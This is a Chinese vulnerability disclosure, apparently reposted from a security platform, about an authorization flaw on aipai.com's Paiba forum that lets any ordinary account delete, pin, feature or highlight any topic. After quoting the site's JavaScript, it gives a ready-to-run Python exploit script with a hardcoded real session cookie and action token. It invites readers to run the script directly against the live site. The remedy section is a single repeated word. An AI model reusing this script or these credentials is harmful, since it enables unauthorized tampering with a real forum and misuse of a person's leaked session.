网站地图    收藏   

主页 > 后端 > 网站安全 >

爱拍拍吧可对任何主题越权操作,可置顶、删除

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 自己发了一个帖子,然后看到可以自己删自己的帖子,就试了试改了一改帖子的ID,发现也能正常运行,于是就出了下面的东西。在http://www.aipai.com/app/www/templates/paiba/js/topic.js中,暴露了...

自己发了一个帖子,然后看到可以自己删自己的帖子,就试了试改了一改帖子的ID,发现也能正常运行,于是就出了下面的东西。
 
在http://www.aipai.com/app/www/templates/paiba/js/topic.js中,暴露了加精置顶之类的具体操作。
 
 
pb.topic.remove = function(tid, gid){
     var idString = tid+','+gid;
     $(this).pop_confirm({
         title :'删除话题', 
         msg : '你确定要删除此话题吗?', 
         confirm : function(opt){
             var getUrl =  'http://www.aipai.com/apps/paibaInfo.php';
             var metadata ='tidAndGid='+idString+'&action=delTopic&callback=pb.topic.removeCb&atoken='+getActionToken(); 
             $.ajax({
                 type: "GET",
                 url: getUrl,
                 dataType: 'jsonp',
                 data: metadata
             });
             $(this).pop_close(opt.id);
         }
     });
     return false;
 };
 
pb.topic.modify = function(tid,gid,action,value){
     var idString = tid+','+gid+','+action+','+value;
  var title = '拍吧话题';
     var tips = '';
  if (action === 'up') {
  if (value === 0) {
  tips = '将该话题置顶吗?';
  }else {
  tips = '取消置顶吗?';
  }
  }else if (action === 'class') {
  if (value === 0) {
  tips = '将该话题设为精华吗?';
  }else {
  tips = '取消精华吗?';
  }
  }else if (action === 'style') {
  if (value === 0) {
  tips = '将该话题的标题套红显示吗?';
  }else {
  tips = '取消标题套红吗?';
  }
  }else {
         $(this).pop_alert({
             title : title, 
             msg : '参数出错,请刷新后重试。'
         });
         return false;
  }
     $(this).pop_confirm({
         title :title, 
         msg : tips, 
         confirm : function(opt){
             var getUrl =  'http://www.aipai.com/apps/paibaInfo.php';
             var metadata = 'actStr='+idString+'&action=topicModify&back=pb.topic.modifyCb&atoken='+getActionToken(); 
             $.ajax({
                 type: "POST",
                 url: getUrl,
                 dataType: 'jsonp',
                 data: metadata
             });
             $(this).pop_close(opt.id);
         }
     });
     return false;
 };
 
其中,下面那个是可以用GET模式的,不一定要用POST。
 
开发的是好人,他写的代码我基本能看懂说的是什么。。。-,-
 
使用一个普通帐号的就可以进行管理类操作,要用自己的TOKEN和COOKIES
 
 
于是,经过一轮折腾,写出了PY的利用工具
 
COOKIES和TOKEN都是有效的,你们可以直接用下面的来测试,保存为1.py之类的就OK
 
 
# -*- coding: gbk -*-
 import httplib
 
 
 head = {'Cookie':'CNZZDATA1935056=cnzz_eid=91731278-1341997550-http%253A%252F%252Fgame.aipai.com%252Fpay.php&ntime=1341997550&cnzz_a=5&retime=1341998034546&sin=http%253A%252F%252Fgame.aipai.com%252Fpay.php&ltime=1341998034546&rtime=0; AIPAI_cookietime=2592000; smile=1D1; vd=0-0-1-0-0-0-0-0; vd_sc=1; playNum=1; a_pro=%7B%220%22%3A%221106%22%7D; parent_url=http%3A//ba.aipai.com/104203; s=1; n=imlonghao; up=http%3A%2F%2Ffu1.aipai.com%2Faccount%2F754%2F11709754%2Faccount%2F11709754_big.jpg; b=11709754; p=38845827ee; t=1350107606; at=2ac1216efacb6dfad39b6cda5dc5270d; ul=6; lg=0; lt=1344948471; f=8; a_index_c=%7B%2211709754%22%3A%7B%22p%22%3A%5B%5D%2C%22g%22%3A3%7D%7D; gvisited=%7B%22104203%22%3A2%7D; loginLog=11709754; notifyNum=0; notifyNumOld=0'}
 
 def delTopic(tid,bid):#删除
     conn = httplib.HTTPConnection('www.aipai.com')
     conn.request('GET','/apps/paibaInfo.php?tidAndGid='+tid+','+bid+'&action=delTopic&callback=pb.topic.removeCb&atoken=c59b2ccad12051fa0ead6767282cd63e',headers=head)
     result1=conn.getresponse()
     result2=result1.read()
     if 'true' in result2:
         print '操作成功'
     else:
         print '操作失败'
     conn.close()
 
 def gm(tid,bid,a,b):#管理操作
     conn = httplib.HTTPConnection('www.aipai.com')
     conn.request('GET','/apps/paibaInfo.php?actStr='+tid+','+bid+','+a+','+b+'&action=topicModify&back=pb.topic.modifyCb&atoken=c59b2ccad12051fa0ead6767282cd63e',headers=head)
     result1=conn.getresponse()
     result2=result1.read()
     if 'true' in result2:
         print '操作成功'
     else:
         print '操作失败'
     conn.close()
 
www.2cto.com
 while True:
     tid=raw_input('请输入帖子ID:')
     bid=raw_input('请输入板块ID:')
     i=raw_input('请选择你要进行的操作\n(1为删除,2为管理类操作):')
     if i=='1':
         delTopic(tid,bid)
     if i=='2':
         c=raw_input('请选择你要进行的操作\n(1为置顶,2为取消置顶,3为加精,4为取消加精,5为加亮,6为取消加亮):')
         if c=='1':
             gm(tid,bid,'up','0')
         if c=='2':
             gm(tid,bid,'up','1')
         if c=='3':
             gm(tid,bid,'class','0')
         if c=='4':
             gm(tid,bid,'class','1')
         if c=='5':
             gm(tid,bid,'style','0')
         if c=='6':
             gm(tid,bid,'style','1')
 
记得帮我刷新一下COOKIES和TOKEN.......
 
 
 








 
修复方案:

权限权限权限权限权限权限权限权限....
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论